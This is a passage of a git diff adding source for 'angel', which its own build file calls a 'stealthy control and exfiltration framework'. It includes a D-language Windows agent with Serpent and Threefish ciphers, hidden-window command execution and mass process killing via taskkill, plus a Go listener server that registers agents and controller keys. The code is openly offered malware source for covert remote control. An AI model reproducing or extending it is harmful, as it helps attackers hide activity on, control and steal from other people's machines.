+ uint t4 = c ^ d;
+ uint t5 = t1 & t3;
+ uint t6 = t2 | t5;
+ X2 = t4 ^ t6;
+ uint t8 = b ^ t3;
+ uint t9 = t6 ^ t8;
+ uint t10 = t4 & t9;
+ X0 = t1 ^ t10;
+ uint t12 = X2 & X0;
+ X1 = t9 ^ t12;
+ X3 = (b | d) ^ (t4 ^ t12);
+ }
+
+ /**
+ * InvS3 - { 0, 9,10, 7,11,14, 6,13, 3, 5,12, 2, 4, 8,15, 1 } - 15 terms
+ */
+ void ib3(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = a | b;
+ uint t2 = b ^ c;
+ uint t3 = b & t2;
+ uint t4 = a ^ t3;
+ uint t5 = c ^ t4;
+ uint t6 = d | t4;
+ X0 = t2 ^ t6;
+ uint t8 = t2 | t6;
+ uint t9 = d ^ t8;
+ X2 = t5 ^ t9;
+ uint t11 = t1 ^ t9;
+ uint t12 = X0 & t11;
+ X3 = t4 ^ t12;
+ X1 = X3 ^ (X0 ^ t11);
+ }
+
+ /**
+ * S4 - { 1,15, 8, 3,12, 0,11, 6, 2, 5, 4,10, 9,14, 7,13 } - 15 terms.
+ */
+ void sb4(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = a ^ d;
+ uint t2 = d & t1;
+ uint t3 = c ^ t2;
+ uint t4 = b | t3;
+ X3 = t1 ^ t4;
+ uint t6 = ~b;
+ uint t7 = t1 | t6;
+ X0 = t3 ^ t7;
+ uint t9 = a & X0;
+ uint t10 = t1 ^ t6;
+ uint t11 = t4 & t10;
+ X2 = t9 ^ t11;
+ X1 = (a ^ t3) ^ (t10 & X2);
+ }
+
+ /**
+ * InvS4 - { 5, 0, 8, 3,10, 9, 7,14, 2,12,11, 6, 4,15,13, 1 } - 15 terms.
+ */
+ void ib4(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = c | d;
+ uint t2 = a & t1;
+ uint t3 = b ^ t2;
+ uint t4 = a & t3;
+ uint t5 = c ^ t4;
+ X1 = d ^ t5;
+ uint t7 = ~a;
+ uint t8 = t5 & X1;
+ X3 = t3 ^ t8;
+ uint t10 = X1 | t7;
+ uint t11 = d ^ t10;
+ X0 = X3 ^ t11;
+ X2 = (t3 & t11) ^ (X1 ^ t7);
+ }
+
+ /**
+ * S5 - {15, 5, 2,11, 4,10, 9,12, 0, 3,14, 8,13, 6, 7, 1 } - 16 terms.
+ */
+ void sb5(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = a ^ b;
+ uint t3 = a ^ d;
+ uint t4 = c ^ t1;
+ uint t5 = t2 | t3;
+ X0 = t4 ^ t5;
+ uint t7 = d & X0;
+ uint t8 = t2 ^ X0;
+ X1 = t7 ^ t8;
+ uint t10 = t1 | X0;
+ uint t11 = t2 | t7;
+ uint t12 = t3 ^ t10;
+ X2 = t11 ^ t12;
+ X3 = (b ^ t7) ^ (X1 & t12);
+ }
+
+ /**
+ * InvS5 - { 8,15, 2, 9, 4, 1,13,14,11, 6, 5, 3, 7,12,10, 0 } - 16 terms.
+ */
+ void ib5(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~c;
+ uint t2 = b & t1;
+ uint t3 = d ^ t2;
+ uint t4 = a & t3;
+ uint t5 = b ^ t1;
+ X3 = t4 ^ t5;
+ uint t7 = b | X3;
+ uint t8 = a & t7;
+ X1 = t3 ^ t8;
+ uint t10 = a | d;
+ uint t11 = t1 ^ t7;
+ X0 = t10 ^ t11;
+ X2 = (b & t10) ^ (t4 | (a ^ c));
+ }
+
+ /**
+ * S6 - { 7, 2,12, 5, 8, 4, 6,11,14, 9, 1,15,13, 3,10, 0 } - 15 terms.
+ */
+ void sb6(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = a ^ d;
+ uint t3 = b ^ t2;
+ uint t4 = t1 | t2;
+ uint t5 = c ^ t4;
+ X1 = b ^ t5;
+ uint t7 = t2 | X1;
+ uint t8 = d ^ t7;
+ uint t9 = t5 & t8;
+ X2 = t3 ^ t9;
+ uint t11 = t5 ^ t8;
+ X0 = X2 ^ t11;
+ X3 = (~t5) ^ (t3 & t11);
+ }
+
+ /**
+ * InvS6 - {15,10, 1,13, 5, 3, 6, 0, 4, 9,14, 7, 2,12, 8,11 } - 15 terms.
+ */
+ void ib6(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = a ^ b;
+ uint t3 = c ^ t2;
+ uint t4 = c | t1;
+ uint t5 = d ^ t4;
+ X1 = t3 ^ t5;
+ uint t7 = t3 & t5;
+ uint t8 = t2 ^ t7;
+ uint t9 = b | t8;
+ X3 = t5 ^ t9;
+ uint t11 = b | X3;
+ X0 = t8 ^ t11;
+ X2 = (d & t1) ^ (t3 ^ t11);
+ }
+
+ /**
+ * S7 - { 1,13,15, 0,14, 8, 2,11, 7, 4,12,10, 9, 3, 5, 6 } - 16 terms.
+ */
+ void sb7(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = b ^ c;
+ uint t2 = c & t1;
+ uint t3 = d ^ t2;
+ uint t4 = a ^ t3;
+ uint t5 = d | t1;
+ uint t6 = t4 & t5;
+ X1 = b ^ t6;
+ uint t8 = t3 | X1;
+ uint t9 = a & t4;
+ X3 = t1 ^ t9;
+ uint t11 = t4 ^ t8;
+ uint t12 = X3 & t11;
+ X2 = t3 ^ t12;
+ X0 = (~t11) ^ (X3 & X2);
+ }
+
+ /**
+ * InvS7 - { 3, 0, 6,13, 9,14,15, 8, 5,12,11, 7,10, 1, 4, 2 } - 17 terms.
+ */
+ void ib7(uint a, uint b, uint c, uint d)
+ {
+ uint t3 = c | (a & b);
+ uint t4 = d & (a | b);
+ X3 = t3 ^ t4;
+ uint t6 = ~d;
+ uint t7 = b ^ t4;
+ uint t9 = t7 | (X3 ^ t6);
+ X1 = a ^ t9;
+ X0 = (c ^ t7) ^ (d | X1);
+ X2 = (t3 ^ X1) ^ (X0 ^ (a & X3));
+ }
+
+ /**
+ * Apply the linear transformation to the register set.
+ */
+ void LT()
+ {
+ uint x0 = rotateLeft(X0, 13);
+ uint x2 = rotateLeft(X2, 3);
+ uint x1 = X1 ^ x0 ^ x2 ;
+ uint x3 = X3 ^ x2 ^ x0 << 3;
+
+ X1 = rotateLeft(x1, 1);
+ X3 = rotateLeft(x3, 7);
+ X0 = rotateLeft(x0 ^ X1 ^ X3, 5);
+ X2 = rotateLeft(x2 ^ X3 ^ (X1 << 7), 22);
+ }
+
+ /**
+ * Apply the inverse of the linear transformation to the register set.
+ */
+ void inverseLT()
+ {
+ uint x2 = rotateRight(X2, 22) ^ X3 ^ (X1 << 7);
+ uint x0 = rotateRight(X0, 5) ^ X1 ^ X3;
+ uint x3 = rotateRight(X3, 7);
+ uint x1 = rotateRight(X1, 1);
+ X3 = x3 ^ x2 ^ x0 << 3;
+ X1 = x1 ^ x0 ^ x2;
+ X2 = rotateRight(x2, 3);
+ X0 = rotateRight(x0, 13);
+ }
+ }
+}
\ No newline at end of file
diff --git a/vv1/agent/angel/utils/cryptography/threefish.d b/vv1/agent/angel/utils/cryptography/threefish.d
new file mode 100644
index 0000000..5c7a290
--- /dev/null
+++ b/vv1/agent/angel/utils/cryptography/threefish.d
@@ -0,0 +1,261 @@
+module angel.utils.cryptography.threefish;
+
+import std.random : Random, unpredictableSeed, uniform;
+
+// memcpy
+extern(C) nothrow @nogc void* memcpy(void* dst, const void* src, size_t n);
+
+class Threefish512
+{
+ private {
+ // Размер блока шифра
+ enum blockSize = 64;
+ // Количество 64-битных слов в ключе (и в блоке)
+ enum Nw = 8;
+ // Количество раундов
+ enum Nr = 72;
+ // Количество раундов (за вычетом последнего)
+ enum Ns = Nr / 4;
+ // Функция перестановки
+ uint[8] p = [2, 1, 4, 7, 6, 5, 0, 3];
+ uint[8] p_1 = [6, 1, 0, 7, 2, 5, 4, 3];
+
+ // Функция смешивания и перестановки
+ uint[4][8] r = [
+ [46, 36, 19, 37],
+ [33, 27, 14, 42],
+ [17, 49, 36, 39],
+ [44, 9 , 54, 56],
+ [39, 30, 34, 24],
+ [13, 50, 10, 17],
+ [25, 29, 39, 43],
+ [8 , 35, 56, 22]
+ ];
+
+ // Твик-значение (свободный параметр алгоритма)
+ ulong[3] t;
+ // Раундовые ключи
+ ulong[8][Ns + 1] subKeys;
+
+ auto _mix(ref ulong[2] x, ulong r, ref ulong[2] y)
+ {
+ y[0] = x[0] + x[1];
+ y[1] = (x[1] << r) | (x[1] >> (64 - r));
+ y[1] ^= y[0];
+ }
+
+ auto _demix(ref ulong[2] y, ulong r, ref ulong[2] x)
+ {
+ y[1] ^= y[0];
+ x[1] = (y[1] << (64 - r)) | (y[1] >> r);
+ x[0] = y[0] - x[1];
+ }
+
+ alias _mod8 = (ulong a) => a & 7UL;
+ }
+
+ /// Шифрование блока
+ /// plain - указатель на блок для шифрования, c - массив-приемник результата
+ void crypt(ulong* plainData, ulong* c) @system
+ {
+ ulong[8] f;
+ ulong[8] e;
+ ulong[2] y;
+ ulong[2] x;
+ ulong[8] v;
+ uint i;
+
+ memcpy (&v[0], plainData, 64);
+
+ for (uint round = 0; round < Nr; round++)
+ {
+ if (round % 4 == 0)
+ {
+ uint s = round >> 2;
+
+ for (i = 0; i < Nw; i++)
+ {
+ e[i] = v[i] + subKeys[s][i];
+ }
+ }
+ else
+ {
+ for (i = 0; i < Nw; i++)
+ {
+ e[i] = v[i];
+ }
+ }
+
+ for (i = 0; i < Nw / 2; i++)
+ {
+ x[0] = e[i * 2];
+ x[1] = e[i * 2 + 1];
+
+ _mix(x, r[cast(uint) _mod8(round)][i], y);
+
+ f[i * 2] = y[0];
+ f[i * 2 + 1] = y[1];
+ }
+
+ for (i = 0; i < Nw; i++)
+ {
+ v[i] = f[p[i]];
+ }
+ }
+
+ for (i = 0; i < Nw; i++)
+ {
+ c[i] = v[i] + subKeys[Ns][i];
+ }
+ }
+
+ /// Шифрование блока (безопасная версия)
+ /// plain - массив с данными блока
+ auto crypt(ulong[8] plainData)
+ {
+ ulong[8] c = 0;
+ crypt(plainData.ptr, c.ptr);
+ return c;
+ }
+
+ /// Дешифрование блока
+ /// plain - указатель на блок для дешифрования, c - массив-приемник результата
+ void decrypt(ulong* plainData, ulong* c) @system
+ {
+ ulong[8] f;
+ ulong[8] e;
+ ulong[2] y;
+ ulong[2] x;
+ ulong[8] v;
+ uint i;
+
+ memcpy(&v[0], plainData, 64);
+
+ for (uint round = Nr; round > 0; round--)
+ {
+ if (round % 4 == 0)
+ {
+ uint s = round >> 2;
+ for (i = 0; i < Nw; i++)
+ {
+ f[i] = v[i] - subKeys[s][i];
+ }
+ }
+ else
+ {
+ for (i = 0; i < Nw; i++)
+ {
+ f[i] = v[i];
+ }
+ }
+
+ for (i = 0; i < Nw; i++)
+ {
+ e[i] = f[p_1[i]];
+ }
+
+ for (i = 0; i < Nw / 2; i++)
+ {
+ y[0] = e[i * 2];
+ y[1] = e[i * 2 + 1];
+
+ _demix(y, r[cast(uint) _mod8(round - 1)][i], x);
+
+ v[i * 2] = x[0];
+ v[i * 2 + 1] = x[1];
+ }
+ }
+
+ for (i = 0; i < Nw; i++)
+ {
+ c[i] = v[i] - subKeys[0][i];
+ }
+ }
+
+ /// Дешифрование блока (безопасная версия)
+ /// plain - массив с данными блока
+ auto decrypt(ulong[8] plain)
+ {
+ ulong[8] c = 0;
+ decrypt(plain.ptr, c.ptr);
+ return c;
+ }
+
+ /// Подготовка раундовых ключей
+ /// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
+ void setup(ulong* keyData, ulong* tweakData) @system
+ {
+ uint i;
+ ulong[8] K;
+ ulong[2] T;
+ ulong[9] key;
+
+ // C240 constant
+ ulong kNw = 0x1BD11BDAA9FC1A22;
+
+ memcpy(&K[0], &keyData[0], 64);
+ memcpy(&T[0], &tweakData[0], 16);
+
+ for (i = 0; i < Nw; i++)
+ {
+ kNw ^= K[i];
+ key[i] = K[i];
+ }
+
+ key[8] = kNw;
+
+ t[0] = T[0];
+ t[1] = T[1];
+ t[2] = T[0] ^ T[1];
+
+ for (uint round = 0; round <= Ns; round++)
+ {
+ for (i = 0; i < Nw; i++)
+ {
+ subKeys[round][i] = key[(round + i) % (Nw + 1)];
+
+ if (i == Nw - 3)
+ {
+ subKeys[round][i] += t[round % 3];
+ }
+ else if (i == Nw - 2)
+ {
+ subKeys[round][i] += t[(round + 1) % 3];
+ }
+ else if (i == Nw - 1)
+ {
+ subKeys[round][i] += round;
+ }
+ }
+ }
+ }
+
+ /// Подготовка раундовых ключей (безопасная версия)
+ /// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
+ void setup(ulong[8] keyData, ulong[2] tweakData)
+ {
+ setup(keyData.ptr, tweakData.ptr);
+ }
+
+ public static ulong[8] generateKey()
+ {
+ ulong[8] key;
+ auto rng = Random(unpredictableSeed);
+ foreach (i; 0 .. 8)
+ {
+ key[i] = uniform!ulong(rng);
+ }
+ return key;
+ }
+
+ public static ulong[2] generateTweak()
+ {
+ ulong[2] tweak;
+ auto rng = Random(unpredictableSeed);
+ foreach (i; 0 .. 2)
+ {
+ tweak[i] = uniform!ulong(rng);
+ }
+ return tweak;
+ }
+}
\ No newline at end of file
diff --git a/vv1/agent/angel/utils/cryptography/utils.d b/vv1/agent/angel/utils/cryptography/utils.d
new file mode 100644
index 0000000..acee615
--- /dev/null
+++ b/vv1/agent/angel/utils/cryptography/utils.d
@@ -0,0 +1,109 @@
+module angel.utils.cryptography.utils;
+
+import core.vararg;
+import std.traits;
+import std.algorithm;
+
+/// TODO: neat variadic implementation of `wipe()`
+
+/// Clears data in memory.
+@safe @nogc nothrow
+void wipe(T)(ref T t) {
+ static if(is(typeof(cast (ubyte[]) t))) {
+ ubyte[] bytes = cast(ubyte[]) t;
+
+ bytes[] = 0;
+
+ if(!all!"a == 0"(bytes[])) {
+ // This should not get optimized away.
+ assert(false, "Wiping failed.");
+ }
+ } else static if ( is(typeof( {T a = T.init;} ))) {
+ t = T.init;
+
+ if(t != T.init) {
+ // This should not get optimized away.
+ assert(false, "Wiping failed.");
+ }
+ } else {
+ static assert(false, "Type not supported for wiping: " ~ T.stringof);
+ }
+}
+
+
+@safe @nogc nothrow
+void wipe(T...)(ref T ts) {
+ foreach(ref t; ts) {
+ wipe(t);
+ }
+}
+
+// test static arrays
+unittest {
+ ubyte[4] buf1 = [1,2,3,4];
+ uint[4] buf2 = [1,2,3,4];
+ size_t[4] buf3 = [1,2,3,4];
+
+ wipe(buf1);
+ wipe(buf2);
+ wipe(buf3);
+
+ assert(all!"a == 0"(buf1[]), "Failed to wipe ubyte[].");
+ assert(all!"a == 0"(buf2[]), "Failed to wipe ubyte[].");
+ assert(all!"a == 0"(buf3[]), "Failed to wipe ubyte[].");
+}
+
+// test dynamic arrays
+unittest {
+ ubyte[] buf1 = [1,2,3,4];
+ uint[] buf2 = [1,2,3,4];
+ size_t[] buf3 = [1,2,3,4];
+
+ wipe(buf1, buf2, buf3);
+
+ assert(all!"a == 0"(buf1), "Failed to wipe ubyte[].");
+ assert(all!"a == 0"(buf2), "Failed to wipe ubyte[].");
+ assert(all!"a == 0"(buf3), "Failed to wipe ubyte[].");
+}
+
+unittest {
+ int a = 42;
+ int b = 84;
+ ubyte c = 1;
+
+ wipe(a, b, c);
+
+ assert(a == 0 && b == 0 && c == 0, "Wiping integer failed!");
+}
+
+/// Compares a and b in constant time.
+///
+/// Returns: 0 if a == b, some other value if a != b.
+bool crypto_equals(T)(in T[] a, in T[] b) pure nothrow @safe @nogc
+in {
+ assert(a.length == b.length, "Unequal length.");
+} body {
+ T result = 0;
+ size_t i = 0;
+
+ while(i < a.length) {
+ result |= a[i] ^ b[i];
+ ++i;
+ }
+
+ if(i != a.length) {
+ // Just to be sure that the compiler optimization does not destroy const time.
+ assert(false);
+ }
+
+ return result == 0;
+}
+
+// test crypto_equals
+unittest {
+ ubyte[32] f = 0;
+ immutable ubyte[32] zero = 0;
+ assert(crypto_equals(f[], zero[]));
+ f[8] = 1;
+ assert(!crypto_equals(f[], zero[]));
+}
\ No newline at end of file
diff --git a/vv1/agent/angel/utils/init.d b/vv1/agent/angel/utils/init.d
new file mode 100644
index 0000000..76c8f26
--- /dev/null
+++ b/vv1/agent/angel/utils/init.d
@@ -0,0 +1,14 @@
+module angel.utils.init;
+
+// Internal imports
+import angel.utils.constants;
+import angel.utils.logging;
+// External imports
+import std.stdio;
+import std.file;
+
+void init() {
+ if (!exists(Constants.workdir)) {
+ mkdir(Constants.workdir);
+ }
+}
\ No newline at end of file
diff --git a/vv1/agent/angel/utils/logging.d b/vv1/agent/angel/utils/logging.d
new file mode 100644
index 0000000..47a0d19
--- /dev/null
+++ b/vv1/agent/angel/utils/logging.d
@@ -0,0 +1,58 @@
+module angel.utils.logging;
+
+// Internal imports
+import angel.config : config;
+import angel.utils.constants;
+// External imports
+import std.stdio;
+import std.datetime;
+import std.file;
+import std.format;
+import std.string;
+
+enum LogLevel {
+ Debug,
+ Event,
+ Warning,
+ Error
+}
+
+class Logger {
+ private static string getTimestamp() {
+ auto now = Clock.currTime();
+ return format!"%04d-%02d-%02d %02d:%02d:%02d"(
+ now.year, now.month, now.day,
+ now.hour, now.minute, now.second
+ );
+ }
+
+ private static string getLogSymbol(LogLevel level) {
+ switch (level) {
+ case LogLevel.Debug: return "[*]";
+ case LogLevel.Event: return "[i]";
+ case LogLevel.Warning: return "[!]";
+ case LogLevel.Error: return "[E]";
+ default: return "[?]";
+ }
+ }
+
+ private static void writeToFile(string message) {
+ auto file = File(Constants.logFilePath, "a");
+ file.write(message ~ "\n");
+ file.close();
+ }
+
+ public static void log(LogLevel level, string message) {
+ auto timestamp = getTimestamp();
+ auto symbol = getLogSymbol(level);
+
+ auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message;
+
+ writeToFile(logMessage);
+ if (level == LogLevel.Debug && !config.debug_mode) {
+ return;
+ } else {
+ writeln(logMessage);
+ }
+ }
+}
diff --git a/vv1/agent/angel/utils/utils.d b/vv1/agent/angel/utils/utils.d
new file mode 100644
index 0000000..f1fffeb
--- /dev/null
+++ b/vv1/agent/angel/utils/utils.d
@@ -0,0 +1,81 @@
+module angel.utils.utils;
+
+// Internal imports
+import angel.utils.logging;
+// External imports
+import std.stdio;
+import std.process;
+import std.format;
+import core.thread.osthread;
+import core.sys.windows.windows;
+import std.conv : to;
+import std.range;
+import std.array;
+import std.string;
+import std.random;
+
+class Utils {
+ public static string generateRandomString(size_t length) {
+ string characters = "0123456789abcdefghijklmnopqrstuvwxyz";
+ auto rnd = Random();
+
+ auto randomChars = generate(() => characters[uniform(0, characters.length, rnd)]).take(length).array;
+
+ return to!string(randomChars);
+ }
+
+ public static void execute(string command) {
+ STARTUPINFOA si;
+ PROCESS_INFORMATION pi;
+
+ si.cb = STARTUPINFO.sizeof;
+ si.dwFlags = STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+
+ if (!CreateProcessA(
+ null,
+ cast(char*)command.ptr,
+ null,
+ null,
+ false,
+ 0,
+ null,
+ null,
+ &si,
+ &pi
+ )) {
+ Logger.log(LogLevel.Error, format("Failed to create proc: %s", GetLastError()));
+ return;
+ }
+
+ WaitForSingleObject(pi.hProcess, INFINITE);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ }
+
+ private static void dieproc(string proc_name) {
+ Logger.log(LogLevel.Debug, format("Attempting to kill proc: %s", proc_name));
+ string command = format("cmd.exe /C taskkill /F /IM \"%s\"", proc_name);
+
+ execute(command);
+ }
+
+ public static void killproc(string[] ulist) {
+ Logger.log(LogLevel.Debug, format("Attempting to kill procs: %s", ulist));
+
+ Thread[] threads;
+
+ foreach (proc; ulist) {
+ auto t = new Thread(() => dieproc(proc));
+ threads ~= t;
+ t.start();
+ continue;
+ }
+
+ foreach (t; threads) {
+ joinLowLevelThread(t.id);
+ }
+
+ Logger.log(LogLevel.Debug, "All procs killed.");
+ }
+}
\ No newline at end of file
diff --git a/vv1/agent/angel/windows/windows_core.d b/vv1/agent/angel/windows/windows_core.d
new file mode 100644
index 0000000..473a0f4
diff --git a/vv1/agent/dev.txt b/vv1/agent/dev.txt
new file mode 100644
index 0000000..9bbfaae
--- /dev/null
+++ b/vv1/agent/dev.txt
@@ -0,0 +1,5 @@
+dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force
+
+gdi32, user32
+
+"alwaysStackFrame","betterC","syntaxOnly",
diff --git a/vv1/agent/dub.json b/vv1/agent/dub.json
new file mode 100644
index 0000000..c1c1a49
--- /dev/null
+++ b/vv1/agent/dub.json
@@ -0,0 +1,25 @@
+{
+ "authors": ["k0"],
+ "version": "1.0.0",
+ "copyright": "Copyright © 2024, k0",
+ "description": "Versatile stealthy control and exfiltration framework",
+ "license": "MIT",
+ "name": "angel",
+ "targetType": "executable",
+ "targetPath": "bin",
+ "sourcePaths": ["angel"],
+ "mainSourceFile": "angel/angel.d",
+ "libs-windows": ["crypt32"],
+ "libs-posix": [],
+ "copyFiles": ["../LICENSE.txt"],
+ "copyFiles-windows-x86": ["libs/win32/*.dll"],
+ "extraDependencyFiles": ["libs/crypto/*"],
+ "buildOptions": [
+ "noBoundsCheck",
+ "releaseMode",
+ "inline",
+ "optimize",
+ "warnings",
+ "lowmem"
+ ]
+}
diff --git a/vv1/server/conn/agent.go b/vv1/server/conn/agent.go
new file mode 100644
index 0000000..06fcfb1
--- /dev/null
+++ b/vv1/server/conn/agent.go
@@ -0,0 +1,18 @@
+package conn
+
+import (
+ "angel_server/consts"
+ "angel_server/cryptmeow"
+ "log/slog"
+ "net"
+)
+
+func agent_impl(conn net.Conn, layer_id int) {
+ var publicKey, _ [32]byte = cryptmeow.Gen_keypair()
+
+ _, err := conn.Write(publicKey[:])
+ if err != nil {
+ consts.Logger.Error("failed to send public key", slog.String("error", err.Error()))
+ return
+ }
+}
\ No newline at end of file
diff --git a/vv1/server/conn/conn.go b/vv1/server/conn/conn.go
new file mode 100644
index 0000000..c88a5e7
--- /dev/null
+++ b/vv1/server/conn/conn.go
@@ -0,0 +1,43 @@
+package conn
+
+import (
+ "angel_server/consts"
+ "angel_server/extra"
+ "fmt"
+ "log/slog"
+ "net"
+ "os"
+ "os/signal"
+ "syscall"
+)
+
+func Start_serv() {
+ consts.Logger.Info("Starting tcp listener...")
+
+ ln, err := net.Listen("tcp", fmt.Sprintf(":%d", extra.Port))
+ if err != nil {
+ consts.Logger.Error("Error occurred during server start:", slog.Any("error", err))
+ return
+ }
+ defer ln.Close()
+
+ stop := make(chan os.Signal, 1)
+ signal.Notify(stop, os.Interrupt, syscall.SIGTERM)
+
+ go func() {
+ <-stop
+ consts.Logger.Info("Shutting down server...")
+ ln.Close()
+ os.Exit(0)
+ }()
+
+ for {
+ conn, err := ln.Accept()
+ if err != nil {
+ consts.Logger.Error("Error accepting connection:", slog.Any("error", err))
+ continue
+ }
+
+ go handleConnection(conn)
+ }
+}
\ No newline at end of file
diff --git a/vv1/server/conn/controller.go b/vv1/server/conn/controller.go
new file mode 100644
index 0000000..2623e66
--- /dev/null
+++ b/vv1/server/conn/controller.go
@@ -0,0 +1,7 @@
+package conn
+
+import "net"
+
+func controller_impl(conn net.Conn) {
+
+}
\ No newline at end of file
diff --git a/vv1/server/conn/handler.go b/vv1/server/conn/handler.go
new file mode 100644
index 0000000..8a3e3ec
--- /dev/null
+++ b/vv1/server/conn/handler.go
@@ -0,0 +1,36 @@
+package conn
+
+import (
+ "angel_server/consts"
+ "angel_server/db"
+ "bytes"
+ "log/slog"
+ "net"
+ "strconv"
+)
+
+func handleConnection(conn net.Conn) {
+ defer conn.Close()
+ consts.Logger.Info("Received conn", slog.String("remote", conn.RemoteAddr().String()))
+
+ role := make([]byte, 8)
+ n, err := conn.Read(role)
+ if err != nil {
+ consts.Logger.Error("Failed to read role", slog.String("error", err.Error()))
+ return
+ }
+
+ layer_id := string(bytes.TrimSpace(role[:n]))
+ consts.Logger.Debug(layer_id)
+
+ int_meow, _ := strconv.Atoi(layer_id)
+ if (int_meow == 0) {
+ controller_impl(conn)
+ } else if (db.CheckLayer(consts.Db, int_meow)) {
+ agent_impl(conn, int_meow)
+ } else {
+ conn.Close()
+ }
+
+ consts.Logger.Info("Lost conn", slog.String("remote", conn.RemoteAddr().String()))
+}
diff --git a/vv1/server/consts/consts.go b/vv1/server/consts/consts.go
new file mode 100644
index 0000000..587a48a
--- /dev/null
+++ b/vv1/server/consts/consts.go
@@ -0,0 +1,11 @@
+package consts
+
+import (
+ "angel_server/logging"
+ "database/sql"
+)
+
+
+
+var Logger = logging.GetLogger()
+var Db *sql.DB
\ No newline at end of file
diff --git a/vv1/server/cryptmeow/cryptmeow.go b/vv1/server/cryptmeow/cryptmeow.go
new file mode 100644
index 0000000..7b70f95
--- /dev/null
+++ b/vv1/server/cryptmeow/cryptmeow.go
@@ -0,0 +1,23 @@
+package cryptmeow
+
+import (
+ "angel_server/consts"
+ "crypto/rand"
+
+ "golang.org/x/crypto/curve25519"
+)
+
+func Gen_keypair() (publicKey [32]byte, privateKey [32]byte) {
+ consts.Logger.Warn("Generating ephemeral keys for SSH authetification.")
+
+ _, err := rand.Read(privateKey[:])
+ if err != nil {
+ consts.Logger.Error("Failed to generate private key: " + err.Error())
+ }
+
+ curve25519.ScalarBaseMult(&publicKey, &privateKey)
+
+ return publicKey, privateKey
+}
+
+var ControllerPublicKey, ControllerPrivateKey [32]byte = Gen_keypair()
\ No newline at end of file
diff --git a/vv1/server/db/database.go b/vv1/server/db/database.go
new file mode 100644
index 0000000..b66a3f4
--- /dev/null
+++ b/vv1/server/db/database.go
@@ -0,0 +1,22 @@
+package db
+
+import (
+ "angel_server/consts"
+ "database/sql"
+ "log"
+
+ _ "github.com/mattn/go-sqlite3"
+)
+
+func CheckLayer(db *sql.DB, layerID int) bool {
+ var exists bool
+
+ query := `SELECT EXISTS(SELECT 1 FROM layers WHERE layer_id = ?);`
+
+ err := consts.Db.QueryRow(query, layerID).Scan(&exists)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ return exists
+}
\ No newline at end of file
diff --git a/vv1/server/extra/conf.go b/vv1/server/extra/conf.go
new file mode 100644
index 0000000..bb1fc8b
--- /dev/null
+++ b/vv1/server/extra/conf.go
@@ -0,0 +1,3 @@
+package extra
+
+var Port int = 8080
\ No newline at end of file
diff --git a/vv1/server/extra/extra.go b/vv1/server/extra/extra.go
new file mode 100644
index 0000000..d26dbcf
--- /dev/null
+++ b/vv1/server/extra/extra.go
@@ -0,0 +1,48 @@
+package extra
+
+import (
+ "angel_server/consts"
+ "angel_server/cryptmeow"
+ "database/sql"
+ "fmt"
+ "log"
+
+ _ "github.com/mattn/go-sqlite3"
+)
+
+func Init() {
+ consts.Logger.Warn("Welcome to angel net! To autheticate as the admin controller of the net, you'll need to use the following key via the ssh shell")
+ consts.Logger.Warn(fmt.Sprintf("%d", cryptmeow.ControllerPublicKey[:]))
+
+ var err error
+ consts.Db, err = sql.Open("sqlite3", "../angel_db.sqlite3")
+ if err != nil {
+ log.Fatal(err)
+ }
+ defer consts.Db.Close()
+
+ createTableSQL := `
+ CREATE TABLE IF NOT EXISTS layers (
+ layer_id INTEGER NOT NULL CHECK(layer_id >= 0 AND layer_id <= 8),
+ public_key BLOB NOT NULL CHECK(LENGTH(public_key) = 32),
+ secret_key BLOB NOT NULL CHECK(LENGTH(secret_key) = 32),
+ PRIMARY KEY (layer_id)
+ );`
+
+ _, err = consts.Db.Exec(createTableSQL)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ var array_pk, array_sk []byte
+ copy(array_pk, cryptmeow.ControllerPublicKey[:])
+ copy(array_sk, cryptmeow.ControllerPrivateKey[:])
+
+ insertSQL := `INSERT OR IGNORE INTO layers (layer_id, public_key, secret_key) VALUES (?, ?, ?);`
+ _, err = consts.Db.Exec(insertSQL, 0, array_pk, array_sk)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ consts.Logger.Info("Database initialized and 'layers' table created successfully! Admin/controller handler has been added.")
+}
\ No newline at end of file
diff --git a/vv1/server/go.mod b/vv1/server/go.mod
new file mode 100644
index 0000000..b84a5ab
--- /dev/null
+++ b/vv1/server/go.mod
@@ -0,0 +1,8 @@
+module angel_server
+
+go 1.23.3
+
+require (
+ github.com/mattn/go-sqlite3 v1.14.24 // indirect
+ golang.org/x/crypto v0.32.0 // indirect
+)
diff --git a/vv1/server/go.sum b/vv1/server/go.sum
new file mode 100644
index 0000000..a4407d2
--- /dev/null
+++ b/vv1/server/go.sum
@@ -0,0 +1,4 @@
+github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM=
+github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
+golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
+golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
diff --git a/vv1/server/logging/logging.go b/vv1/server/logging/logging.go
new file mode 100644
index 0000000..7074b1f
--- /dev/null
+++ b/vv1/server/logging/logging.go
@@ -0,0 +1,69 @@
+package logging
+
+import (
+ "context"
+ "log/slog"
+ "os"
+)
+
+var Logger *slog.Logger
+
+type MultiHandler struct {
+ handlers []slog.Handler
+}
+
+func (m *MultiHandler) Enabled(ctx context.Context, level slog.Level) bool {
+ for _, h := range m.handlers {
+ if h.Enabled(ctx, level) {
+ return true
+ }
+ }
+ return false
+}
+
